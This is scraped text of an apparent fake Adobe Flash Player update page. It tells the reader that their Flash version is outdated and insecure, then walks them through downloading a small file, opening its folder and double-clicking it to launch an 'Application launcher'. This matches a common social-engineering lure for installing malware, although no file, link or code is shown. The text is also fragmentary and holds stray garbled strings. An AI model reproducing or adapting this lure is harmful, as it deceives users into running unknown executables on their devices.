You must have the most recent Adobe Flash Player to decode and encode (Play) audio files in top quality:
Update your version here:
Update software
"Adobe Flash Player" is outdated
Your current "Adobe Flash Player" version on this device
does not contain the latest security patches:
Get a fresh Adobe Flash Player version
Usually, Chrome allows installation of new plugins. Continue as
Download Flash -
steps as below
Download a file
small file 
downloading:
Select Show In Folder to open the file-
Click on
Show in Folder"
Launch the file
Double-click to start the file
MheTL L=
Application launcher
Follow the instructions given.
Open the file and continue with the instructions:
This warning will disappear after installation: